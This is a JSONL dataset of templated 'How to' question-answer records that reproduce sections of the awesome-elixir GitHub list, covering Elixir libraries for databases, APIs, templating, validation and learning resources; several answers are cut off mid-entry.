[database_url](https://github.com/s-m-i-t-a/database_url) - Parse database URL and return keyword list for use with Ecto.\n* [datomex](https://github.com/edubkendo/datomex) - Elixir driver for the Datomic REST API.\n* [ddb_client](https://github.com/dalmatinerdb/ddb_client) - DalmatinerDB client.\n* [defql](https://github.com/fazibear/defql) - Create elixir functions with SQL as a body.\n* [dexts](https://github.com/meh/dexts) - Disk Elixir Terms Storage, dest wrapper.\n* [diver](https://github.com/novabyte/diver) - A HBase driver for Erlang/Elixir using Jinterface and the Asynchbase Java client to query the database.\n* [dproto](https://github.com/dalmatinerdb/dproto) - Protocols for DalmatinerDB.\n* [dqe](https://github.com/dalmatinerdb/dqe) - DalmatinerDB query engine.\n* [ecto](https://github.com/elixir-ecto/ecto) - A database wrapper and language integrated query for Elixir.\n* [ecto_anon](https://github.com/WTTJ/ecto_anon) - Simple way to handle data anonymization directly in your Ecto schemas.\n* [ecto_cassandra](https://github.com/cafebazaar/ecto-cassandra) - Cassandra DB Adapter for Ecto.\n* [ecto_enum](https://github.com/gjaldon/ecto_enum) - Ecto extension to support enums in models.\n* [ecto_facade](https://github.com/azranel/ecto_facade) - Ecto facade that allows to separate writes and reads to different databases.\n* [ecto_factory](https://hex.pm/packages/ecto_factory) - Easily generate structs based on your ecto schemas.\n* [ecto_fixtures](https://github.com/DockYard/ecto_fixtures) - Fixtures for Elixir apps using Ecto.\n* [ecto_lazy_float](https://github.com/joshdholtz/ecto-lazy-float) - Ecto.LazyFloat - An Ecto.Float that accepts binary and integers.\n* [ecto_list](https://github.com/popo63301/ecto_list) - Simple ordered model management with Ecto.\n* [ecto_migrate](https://github.com/xerions/ecto_migrate) - Ecto auto migration library. It allows to generate and run migrations for initial and update migrations.\n* [ecto_mnesia](https://github.com/Nebo15/ecto_mnesia) - Ecto adapter for Mnesia Erlang term database.\n* [ecto_ordered](https://github.com/zovafit/ecto-ordered) - Ecto extension for ordered models.\n* [ecto_paging](https://github.com/Nebo15/ecto_paging) - Cursor-based pagination for Ecto.\n* [ecto_psql_extras](https://github.com/pawurb/ecto_psql_extras) - Ecto PostgreSQL database performance insights.\n* [ecto_rut](https://github.com/sheharyarn/ecto_rut) - Simple and Powerful Ecto Shortcuts to simplify and speed up development.\n* [ecto_shortcuts](https://github.com/MishaConway/ecto_shortcuts) - Shortcuts for common operations in ecto.\n* [ecto_shortuuid](https://github.com/gpedic/ecto_shortuuid) - Ecto type which adds support for [ShortUUIDs](https://github.com/gpedic/ex_shortuuid).\n* [ecto_validation_case](https://github.com/danielberkompas/ecto_validation_case) - Simplify your Ecto model validation tests. Loosely inspired by shoulda matchers, but simpler.\n* [ecto_watch](https://github.com/cheerfulstoic/ecto_watch) - Allows you to easily get notifications about database changes directly from PostgreSQL.\n* [ectophile](https://github.com/gjaldon/ectophile) - Ecto extension to instantly support file uploads in models.\n* [elastic](https://github.com/radar/elastic) - A thin-veneer over HTTPotion to help you talk to Elastic Search.\n* [elastix](https://github.com/werbitzky/elastix) - A simple Elastic REST client written in Elixir.\n* [eredis](https://github.com/Nordix/eredis) - Erlang Redis client.\n* [erlastic_search](https://github.com/tsloughter/erlastic_search) - An Erlang app for communicating with Elastic Search's rest interface.\n* [esqlite](https://github.com/mmzeeman/esqlite) - Erlang NIF for sqlite.\n* [eternal](https://github.com/whitfin/eternal) - Keep your ETS tables alive forever, safely and easily.\n* [ets_map](https://github.com/antip", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762669"}
{"id": "gh_ea7e9e555949", "question": "How to: Package Management", "question_body": "About h4cc/awesome-elixir", "answer": "*Libraries and tools for package and dependency management.*\n\n* [Hex](https://hex.pm/) - A package manager for the Erlang ecosystem.\n* [rebar3_hex](https://github.com/hexpm/rebar3_hex) - Hex.pm plugin for rebar3.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762675"}
{"id": "gh_b1d0d5f1e324", "question": "How to: Release Management", "question_body": "About h4cc/awesome-elixir", "answer": "*Libraries and tools for release management.*\n\n* [changex](https://github.com/Gazler/changex) - Automated changelog generation from GIT logs.\n* [distillery](https://github.com/bitwalker/distillery) - A pure Elixir implementation of release packaging functionality for the Erlang VM.\n* [eliver](https://github.com/glasnoster/eliver) - Interactive semantic versioning for Elixir packages.\n* [expublish](https://github.com/tfiedlerdejanze/expublish) - Automates semantic release versioning and best practices for elixir packages.\n* [relex](https://github.com/yrashk/relex) - Erlang/Elixir Release Assembler.\n* [renew](https://github.com/Nebo15/renew) - Mix task to create mix projects that builds into Docker containers.\n* [versioce](https://github.com/mpanarin/versioce) - An extensible version bumping and changelog generation for your mix project.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762685"}
{"id": "gh_9c8ed644b285", "question": "How to: REST and API", "question_body": "About h4cc/awesome-elixir", "answer": "*Libraries and web tools for developing REST-ful APIs.*\n\n* [accent](https://github.com/sticksnleaves/accent) - Plug for handling the conversion of JSON API keys to different cases.\n* [detergent](https://github.com/devinus/detergent) - An emulsifying Erlang SOAP library.\n* [detergentex](https://github.com/r-icarus/detergentex) - Elixir binding to Detergent erlang library used to call WSDL/SOAP Services.\n* [maru](https://github.com/falood/maru) - Elixir copy of grape for creating REST-like APIs.\n* [mazurka](https://github.com/exstruct/mazurka) - Hypermedia API toolkit.\n* [plug_rest](https://github.com/christopheradams/plug_rest) - REST behaviour and Plug router for hypermedia web applications.\n* [signaturex](https://github.com/edgurgel/signaturex) - Simple key/secret based authentication for APIs.\n* [SOAP client](https://github.com/elixir-soap/soap) - Hex-documented SOAP client based on HTTPoison.\n* [urna](https://github.com/meh/urna) - Urna is a simple DSL around cauldron to implement REST services.\n* [versionary](https://github.com/sticksnleaves/versionary) - API versioning for Elixir Plug and Phoenix.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762692"}
{"id": "gh_1d21115ba087", "question": "How to: Static Page Generation", "question_body": "About h4cc/awesome-elixir", "answer": "*Tools and libraries for generating static websites and content.*\n\n* [blogit](https://github.com/meddle0x53/blogit) - An OTP application for generating blogs from git repositories containing markdown files.\n* [coil](https://github.com/badosu/coil) - Minimalistic static content engine.\n* [glayu](https://github.com/pablomartinezalvarez/glayu) - A static site generator for mid-sized sites.\n* [NimblePublisher](https://github.com/dashbitco/nimble_publisher) - Minimal filesystem-based publisher with markdown and syntax highlighting.\n* [pardall_markdown](https://github.com/alfredbaudisch/pardall_markdown) - Reactive publishing framework, filesystem-based with support for Markdown, nested hierarchies, and instant content rebuilding.\n* [phoenix_pages](https://github.com/jsonmaur/phoenix-pages) - Add blogs, documentation, and other static pages to Phoenix apps.\n* [serum](https://github.com/Dalgona/Serum) - A simple static website generator written in Elixir.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762700"}
{"id": "gh_1ba2a94db461", "question": "How to: Statistics", "question_body": "About h4cc/awesome-elixir", "answer": "*Libraries around the topic statistics.*\n\n* [descriptive_statistics](https://github.com/pusewicz/descriptive_statistics) - Descriptive Statistics for Elixir.\n* [mtx](https://github.com/synrc/mtx) - MTX supports front-end API for tracking Histogram, Meter, Counter, Gauge, Timing keys.\n* [numerix](https://github.com/safwank/Numerix) - A collection of useful mathematical functions with a slant towards statistics, linear algebra and machine learning.\n* [simple_stat_ex](https://github.com/Tyler-pierce/simplestatex) - Ecto compatible library for simple stat keeping by time period.\n* [statistics](https://github.com/msharp/elixir-statistics) - Some basic statistical functions for Elixir.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762705"}
{"id": "gh_6a1884b007b8", "question": "How to: Templating", "question_body": "About h4cc/awesome-elixir", "answer": "*Libraries parsing and helping with templates*\n\n* [bbmustache](https://github.com/soranoba/bbmustache) - Binary pattern match Based Mustache template engine for Erlang/OTP.\n* [calliope](https://github.com/nurugger07/calliope) - An Elixir HAML parser.\n* [eml](https://github.com/zambal/eml) - Library for writing and manipulating (HTML) markup in Elixir.\n* [exgen](https://github.com/rwdaigle/exgen) - A templating library for quickly generating Elixir projects.\n* [expug](https://github.com/rstacruz/expug) - Pug templates for Elixir.\n* [mustache](https://github.com/schultyy/Mustache.ex) - Mustache templates for Elixir.\n* [mustachex](https://github.com/jui/mustachex) - Mustache for Elixir - Logic-less templates.\n* [slime](https://github.com/slime-lang/slime) - An Elixir library for rendering slim-like templates.\n* [sneeze](https://github.com/JuneKelly/sneeze) - Render elixir data structures to HTML. Inspired by [hiccup](https://github.com/weavejester/hiccup).\n* [taggart](https://github.com/ijcd/taggart) - HTML as code in Elixir.\n* [templates](https://github.com/sugar-framework/templates) - Helper library for adding templating to web applications.\n* [temple](https://github.com/mhanberg/temple) - An HTML DSL for Elixir and Phoenix.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762712"}
{"id": "gh_1e962458a4cd", "question": "How to: Text and Numbers", "question_body": "About h4cc/awesome-elixir", "answer": "*Libraries for parsing and manipulating text and numbers.*\n\n* [abacus](https://github.com/narrowtux/abacus) - Evaluate math terms in Elixir.\n* [base58](https://github.com/jrdnull/base58) - Base58 encoding/decoding for Elixir.\n* [base58check](https://github.com/gjaldon/base58check) - Base58Check encoding/decoding for Bitcoin.\n* [base62](https://github.com/igas/base62) - Base62 encoder/decoder in pure Elixir.\n* [bencode](https://github.com/gausby/bencode) - A Bencode encoder and decoder for Elixir. The decoder will return the checksum value of the info dictionary, if an info dictionary was found in the input.\n* [bencoder](https://github.com/alehander42/bencoder) - bencode in Elixir.\n* [bitcoinex](https://github.com/RiverFinancial/bitcoinex) - Bitcoin utilities in Elixir.\n* [brcpfcnpj](https://github.com/williamgueiros/Brcpfcnpj) - Number format and Validation for Brazilian documents (CPF/CNPJ).\n* [caustic](https://github.com/agro1986/caustic) - Elixir cryptocurrency library for Bitcoin, Ethereum, and other blockchains. Includes cryptography, number theory (prime, congruence), and general mathematics library for exploratory math.\n* [ccc](https://github.com/Joe-noh/ccc) - Character Code Converter.\n* [chinese_translation](https://github.com/tyrchen/chinese_translation) - Translate between traditional chinese and simplified chinese based on wikipedia data, and translate chinese words/characters to pinyin (or slug with or without tone).\n* [cidr](https://github.com/c-rack/cidr-elixir) - Classless Inter-Domain Routing (CIDR) for Elixir.\n* [cirru_parser](https://github.com/Cirru/parser.ex) - Cirru Parser in Elixir.\n* [colorful](https://github.com/Joe-noh/colorful) - Elixir macros to decorate characters on CUI.\n* [colors](https://github.com/lidashuang/colors) - Colors util written in Elixir.\n* [convertat](https://github.com/whatyouhide/convertat) - An Elixir library for converting from and to arbitrary bases.\n* [curtail](https://github.com/seankay/curtail) - HTML tag-safe string truncation.\n* [custom_base](https://github.com/igas/custom_base) - Allow you to make custom base conversion in Elixir.\n* [decimal](https://github.com/ericmj/decimal) - Arbitrary precision decimal arithmetic for Elixir.\n* [eden](https://github.com/jfacorro/Eden) - [EDN](https://github.com/edn-format/edn) encoder/decoder for Elixir.\n* [elixilorem](https://github.com/mgamini/elixilorem) - Lorem Ipsum generator for Elixir.\n* [elixir-range-extras](https://github.com/lnikkila/elixir-range-extras) - Elixir range utilities: constant-time random sampling and set operations.\n* [elixir_bencode](https://github.com/AntonFagerberg/elixir_bencode) - Bencode implemented in Elixir.\n* [erldn](https://github.com/marianoguerra/erldn) - [EDN](https://github.com/edn-format/edn) format parser for the Erlang platform.\n* [event_source_encoder](https://github.com/chatgris/event_source_encoder) - Encode data into EventSource compliant data.\n* [ex_brace_expansion](https://github.com/gniquil/ex_brace_expansion) - Brace expansion, as known from sh/bash, in Elixir.\n* [ex_cldr](https://github.com/kipcole9/cldr) - Cldr is an Elixir library for the Unicode Consortium's Common Locale Data Repository (CLDR).\n* [ex_pression](https://github.com/balance-platform/ex_pression) - Evaluate user input expressions.\n* [ex_rfc3966](https://github.com/marcelog/ex_rfc3966) - Elixir Tel URI parser compatible with RFC3966.\n* [ex_rfc3986](https://github.com/marcelog/ex_rfc3986) - RFC3986 URI/URL parser.\n* [ex_uc](https://github.com/carturoch/ex_uc) - Extensible Units Converter for Elixir.\n* [exmoji](https://github.com/mroth/exmoji) - Emoji encoding Swiss Army knife for Elixir/Erlang.\n* [expletive](https://github.com/xavier/expletive) - Profanity filter library for Elixir.\n* [expr](https://github.com/Rob-bie/Expr) - An Elixir library for parsing and evaluating mathematical expressions.\n* [haikunator](https://github.com/knrz/Haikunator) - Generate Heroku-like memorable random names to use in your apps or anywhere else.\n* [hashids](https://github.com/alco/hashids-elixir) - Hashids lets you obfuscate numerical identifiers via reversible mapping.\n* [hexate](https://github.com/rjsamson/hexate) - Simple module for Hex encoding / decoding in Elixir.\n* [inet_cidr](https://github.com/cobenian/inet_cidr) - Classless Inter-Domain Routing (CIDR) for Elixir that is compatible with :inet and supports both IPv4 and IPv6.\n* [inflex](https://github.com/nurugger07/inflex) - An Inflector library for Elixir.\n* [kitsune](https://github.com/edubkendo/kitsune) - An Elixir library for transforming the representation of data.\n* [ltsvex](https://github.com/ma2gedev/ltsvex) - LTSV parser implementation in Elixir.\n* [mbcs](https://github.com/woxtu/elixir-mbcs) - Wrapper for erlang-mbcs. This module provides functions for character encoding conversion.\n* [mimetype_parser](https://github.com/camshaft/mimetype_parser) - parse mimetypes.\n* [minigen](https://github.com/mrdimosthenis/minigen) - Random data generators for the Erl", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762743"}
{"id": "gh_c4dc00c2b1c2", "question": "How to: Third Party APIs", "question_body": "About h4cc/awesome-elixir", "answer": "*Libraries for accessing third party APIs.*\n\n* [airbrake](https://github.com/romul/airbrake-elixir) - An Elixir notifier for the Airbrake.\n* [airbrakex](https://github.com/fazibear/airbrakex) - Elixir client for the Airbrake service.\n* [amazon_product_advertising_client](https://github.com/zachgarwood/elixir-amazon-product-advertising-client) - Amazon Product Advertising API client for Elixir.\n* [apns](https://github.com/chvanikoff/apns4ex) - Apple Push Notifications Service client library for elixir.\n* [asanaficator](https://github.com/trenpixster/asanaficator) - Simple Elixir wrapper for the Asana API. Based on Tentacat.\n* [askimet_ex](https://github.com/mijailr/askimet_ex) - Elixir client for Askimet Anti-Spam service.\n* [assembla_api](https://github.com/Assembla/ex_assembla_api) - Assembla API client for Elixir.\n* [balalaika_bear](https://github.com/ayrat555/balalaika_bear) - Simple VK API client for Elixir.\n* [balanced](https://github.com/bryanjos/balanced-elixir) - Balanced API Client for Elixir.\n* [bandwidth](https://github.com/bandwidthcom/elixir-bandwidth) - An Elixir client library for the Bandwidth Application Platform.\n* [bing_translator](https://github.com/ikeikeikeike/bing_translator) - A simple Elixir interface to Bing's translation API.\n* [bitmex](https://github.com/nobrick/bitmex) - BitMEX client library for Elixir.\n* [bitpay](https://github.com/bitpay/elixir-client) - Elixir core library for connecting to bitpay.com.\n* [cashier](https://github.com/swelham/cashier) - Payment gateway offering a common interface into multiple payment providers.\n* [chargebeex](https://github.com/WTTJ/chargebeex) - An Elixir client for Chargebee API.\n* [cleverbot](https://github.com/BlakeWilliams/Elixir-Cleverbot) - Simple implementation of the Cleverbot API in Elixir.\n* [coinbase](https://github.com/gregpardo/coinbase-elixir) - A unofficial Coinbase API v1 Client.\n* [commerce_billing](https://github.com/joshnuss/commerce_billing) - A payment-processing library for Elixir that supports multiple gateways (e.g. Bogus & Stripe).\n* [conekta](https://github.com/echavezNS/conekta-elixir) - Elixir wrapper for Conekta API.\n* [correios_cep](https://github.com/prodis/correios-cep-elixir) - Find Brazilian addresses by zip code, directly from Correios database. No HTML parsers.\n* [currently](https://github.com/chatgris/currently) - A tool to display cards currently assigns on Trello.\n* [darkskyx](https://github.com/techgaun/darkskyx) - A Darksky.com (formerly forecast.io) API client for Elixir.\n* [digitalocean](https://github.com/lukeed/elixir-digitalocean) - Elixir wrapper for the Digital Ocean API v2.\n* [digoc](https://github.com/kevinmontuori/digoc) - Digital Ocean API v2 Elixir Client.\n* [diplomat](https://github.com/peburrows/diplomat) - A [Google Cloud Datastore](https://cloud.google.com/datastore/) client.\n* [dnsimple](https://github.com/dnsimple/dnsimple-elixir) - Elixir client for the DNSimple API v2.\n* [docker](https://github.com/hexedpackets/docker-elixir) - Elixir client for the Docker Remote API.\n* [dockerex](https://github.com/hisea/dockerex) - Lightweight Docker Remote API Client with SSL/TLS login/connection support.\n* [dogstatsd](https://github.com/adamkittelson/dogstatsd-elixir) - An Elixir client for [DogStatsd](https://www.datadoghq.com/).\n* [dpd_client](https://github.com/knewter/dpd_client) - An API client for the DPD service.\n* [dropbox](https://github.com/ammmir/elixir-dropbox) - Dropbox Core API client for Elixir.\n* [dublin_bus_api](https://github.com/carlo-colombo/dublin-bus-api) - Access to the Real Time Passenger Information (RTPI) for Dublin Bus services.\n* [edgarex](https://github.com/rozap/edgarex) - Elixir interface for fetching SEC filings from EDGAR.\n* [elixir_authorizenet](https://github.com/marcelog/elixir_authorizenet) - Unofficial client for the Authorize.Net merchant API.\n* [elixir_ipfs_api](https://github.com/zabirauf/elixir-ipfs-api) - IPFS (InterPlanetary File System) API client for Elixir.\n* [elixirfm](https://github.com/jrichocean/Elixirfm) - Last.fm API wrapper for Elixir.\n* [elixtagram](https://github.com/zensavona/elixtagram) - Instagram API client for Elixir.\n* [ethereumex](https://github.com/exthereum/ethereumex) - Elixir JSON-RPC client for the Ethereum blockchain.\n* [everex](https://github.com/jwarlander/everex) - Evernote API client for Elixir.\n* [everyoneapi](https://github.com/knewter/everyoneapi) - API Client for EveryoneAPI.com.\n* [ex_changerate](https://github.com/81dr/ex_changerate) - Elixir client for [exchangerate.host](https://exchangerate.host) API.\n* [ex_codeship](https://github.com/securingsincity/ex_codeship) - API Client for Codeship.\n* [ex_twilio](https://github.com/danielberkompas/ex_twilio) - Twilio API client for Elixir.\n* [ex_twiml](https://github.com/danielberkompas/ex_twiml) - Generate TwiML for your Twilio integration, right inside Elixir.\n* [exdesk](https://github.com/deadkarma/exdesk) - Elixir library for the Desk.com API.\n* [exfacebook](https://gi", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762770"}
{"id": "gh_57df4fe112f2", "question": "How to: Translations and Internationalizations", "question_body": "About h4cc/awesome-elixir", "answer": "*Libraries and tools providing translations or internationalizations.*\n\n* [exkanji](https://github.com/ikeikeikeike/exkanji) - A Elixir library for translating between hiragana, katakana, romaji and kanji. It uses Mecab.\n* [exromaji](https://github.com/ikeikeikeike/exromaji) - A Elixir library for translating between hiragana, katakana and romaji.\n* [free PO editor](https://pofile.net/free-po-editor) - A tool for translating PO files.\n* [getatrex](https://github.com/alexfilatov/getatrex) - Automatic translation tool of Gettext locales with Google Translate for Elixir/Phoenix projects.\n* [gettext](https://github.com/elixir-lang/gettext) - Internationalization and localization support for Elixir.\n* [linguist](https://github.com/change/linguist) - Elixir Internationalization library.\n* [parabaikElixirConverter](https://github.com/Arkar-Aung/ParabaikElixirConverter) - ParabaikElixirConverter is just a Elixir version of Parabaik converter. It can convert from Unicode to Zawgyi-One and Zawgyi-One to Unicode vice versa.\n* [trans](https://github.com/belaustegui/trans) - A Elixir library to manage embedded translations into models leveraging PostgreSQL JSONB datatype.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762777"}
{"id": "gh_82512686bccd", "question": "How to: Validations", "question_body": "About h4cc/awesome-elixir", "answer": "*Libraries and implementations for validation of data.*\n\n* [bankster](https://github.com/railsmechanic/bankster) - A IBAN account number and BIC validation library for Elixir.\n* [ex_gtin](https://github.com/kickinespresso/ex_gtin) - A validation library for GTIN codes under GS1 specification.\n* [ex_nric](https://github.com/falti/ex_nric) - Validation for Singapore National Registration Identity Card numbers (NRIC).\n* [exop](https://github.com/madeinussr/exop) - A library that allows to encapsulate business logic and validate params with predefined contract.\n* [form](https://github.com/synrc/form) - Document forms and validation library.\n* [goal](https://github.com/martinthenth/goal) - A parameter validation library for LiveViews and JSON/HTML controllers - based on Ecto.\n* [is](https://github.com/bydooweedoo/is) - Fast, extensible and easy to use data structure validation for elixir with nested structures support.\n* [jeaux](https://github.com/zbarnes757/jeaux) - A light and easy schema validator.\n* [optimal](https://github.com/albert-io/optimal) - A schema based keyword list option validator.\n* [shape](https://github.com/prio/shape) - A data validation library for Elixir based on Prismatic Scheme.\n* [skooma](https://github.com/bcoop713/skooma) - Simple data validation library for describing and validating data structures.\n* [to_atom_in](https://github.com/JohnJocoo/to_atom_in) - Utility to safely convert string an atom in set.\n* [uk_postcode](https://github.com/KushalP/uk_postcode) - UK postcode parsing and validation library.\n* [vex](https://github.com/CargoSense/vex) - An extensible data validation library for Elixir.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762786"}
{"id": "gh_6d437e025d63", "question": "How to: Version Control", "question_body": "About h4cc/awesome-elixir", "answer": "*Working with version control like git, mercury, subversion ...*\n\n* [gitex](https://github.com/awetzel/gitex) - Elixir implementation of the Git object storage, but with the goal to implement the same semantic with other storage and topics.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762791"}
{"id": "gh_0a0628633da1", "question": "How to: WebAssembly", "question_body": "About h4cc/awesome-elixir", "answer": "*Libraries for running WebAssembly (WASM) in Elixir or running Elixir on WebAssembly.*\n\n* [lumen](https://github.com/lumen/lumen) - An alternative BEAM implementation, designed for WebAssembly.\n* [wasmex](https://github.com/tessi/wasmex/) - Execute WebAssembly / WASM binaries from Elixir.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762797"}
{"id": "gh_e6cec0e8c073", "question": "How to: Cheat Sheets", "question_body": "About h4cc/awesome-elixir", "answer": "*Useful Elixir-related cheat sheets.*\n\n* [benjamintanweihao/elixir-cheatsheets](https://github.com/benjamintanweihao/elixir-cheatsheets/) - GenServer and Supervisor cheatsheets.\n* [elixir-lang/elixir](https://hexdocs.pm/elixir/main/enum-cheat.html) - Enum cheatsheets.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762810"}
{"id": "gh_aca510af6af6", "question": "How to: Newsletters", "question_body": "About h4cc/awesome-elixir", "answer": "*Useful Elixir-related newsletters.*\n\n* [Elixir Digest](http://elixirdigest.net) - A weekly newsletter with the latest articles on Elixir and Phoenix.\n* [Elixir Merge](https://elixirmerge.com) - A daily newsletter which delivers two curated updates (articles, tutorials, videos, podcasts) in each edition in quick-read format.\n* [Elixir Radar](http://plataformatec.com.br/elixir-radar) - The \"official\" Elixir newsletter, published weekly via email by Plataformatec.\n* [ElixirWeekly](https://elixirweekly.net) - The Elixir community newsletter, covering stuff you easily miss, shared on [ElixirStatus](http://elixirstatus.com) and the web.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762817"}
{"id": "gh_0bf93371a80a", "question": "How to: Other Awesome Lists", "question_body": "About h4cc/awesome-elixir", "answer": "*Other amazingly awesome lists can be found at [jnv/lists](https://github.com/jnv/lists#lists-of-lists) or [bayandin/awesome-awesomeness](https://github.com/bayandin/awesome-awesomeness#awesome-awesomeness).*\n\n* [Awesome Elixir and CQRS](https://github.com/slashdotdash/awesome-elixir-cqrs) - A curated list of awesome Elixir and Command Query Responsibility Segregation (CQRS) and event sourcing resources.\n* [Awesome Elixir by LibHunt](https://elixir.libhunt.com) - A curated list of awesome Elixir and Erlang packages and resources.\n* [Awesome Erlang](https://github.com/drobakowski/awesome-erlang) - A curated list of awesome Erlang libraries, resources and shiny things.\n* [Curated Elixir Resources](https://hackr.io/tutorials/learn-elixir) - A collection of top recommended Elixir resources.\n* [Erlang Bookmarks](https://github.com/0xAX/erlang-bookmarks) - A collection of links for Erlang developers.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762823"}
{"id": "gh_fd1746bfbc83", "question": "How to: Screencasts", "question_body": "About h4cc/awesome-elixir", "answer": "*Cool video tutorials.*\n\n* [Alchemist Camp](https://alchemist.camp) - Alchemist.Camp has many hours of free, project-based Elixir-learning screencasts.\n* [Confreaks (Elixir)](http://confreaks.tv/tags/40) - Elixir related conference talks.\n* [Curso de Elixir de 0 a 100](https://www.youtube.com/watch?v=-K74G9nlzSY&list=PLMLox3fRb_I4_4-DnU3yS_EglDAuVpeEg) - Complete course of elixir (in spanish) for free.\n* [Elixir for Programmers](https://codestool.coding-gnome.com/courses/elixir-for-programmers) - Functional, Parallel, Reliable (and fun!), taught by Dave Thomas.\n* [Elixir Foundation](https://www.youtube.com/playlist?list=PLjQo0sojbbxXc4aWg5i2umjv7U8YDoHQT) - Learn Elixir by building a practical example. Learn how GenServer, Agents and many other elixir primitives work.\n* [Elixir Sips](http://elixirsips.com/) - Tiny screencasts for learning Elixir.\n* [ElixirCasts.io](https://elixircasts.io/) - Simple screencasts to help you learn Elixir and Phoenix.\n* [ExCasts](https://excasts.com) - Elixir and Phoenix screencasts for all skill levels.\n* [Kamil Skowron](https://www.youtube.com/c/kamilskowron) - YouTube channel dedicated to promote functional programming, publishing \"real world\" programming videos in Elixir like \"Hands-on Elixir & OTP: Cryptocurrency trading bot\" series.\n* [LearnElixir.tv](https://www.learnelixir.tv/) - Beginner friendly, in-depth, step by step screencasts.\n* [LearnPhoenix.tv](https://www.learnphoenix.tv/) - Learn how to build fast, dependable web apps with Phoenix.\n* [Meet Elixir](https://www.pluralsight.com/courses/meet-elixir) - Walk through some features and concepts of Elixir by José Valim.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762833"}
{"id": "gh_8abf4086ac36", "question": "How to: Styleguides", "question_body": "About h4cc/awesome-elixir", "answer": "*Styleguides for ensuring consistency while coding.*\n\n* [christopheradams/elixir_style_guide](https://github.com/christopheradams/elixir_style_guide) - A community-driven style guide for Elixir.\n* [lexmag/elixir-style-guide](https://github.com/lexmag/elixir-style-guide) - An opinionated Elixir style guide.\n* [rrrene/elixir-style-guide](https://github.com/rrrene/elixir-style-guide) - Style guide checked by [Credo](https://github.com/rrrene/credo).", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762837"}
{"id": "gh_520454a0115e", "question": "How to: Contributing", "question_body": "About h4cc/awesome-elixir", "answer": "Please see [CONTRIBUTING](https://github.com/h4cc/awesome-elixir/blob/master/.github/CONTRIBUTING.md) for details.", "tags": ["h4cc"], "source": "github_gists", "category": "h4cc", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 13066, "answer_score": 10, "has_code": false, "url": "https://github.com/h4cc/awesome-elixir", "collected_at": "2026-01-16T23:28:37.762843"}
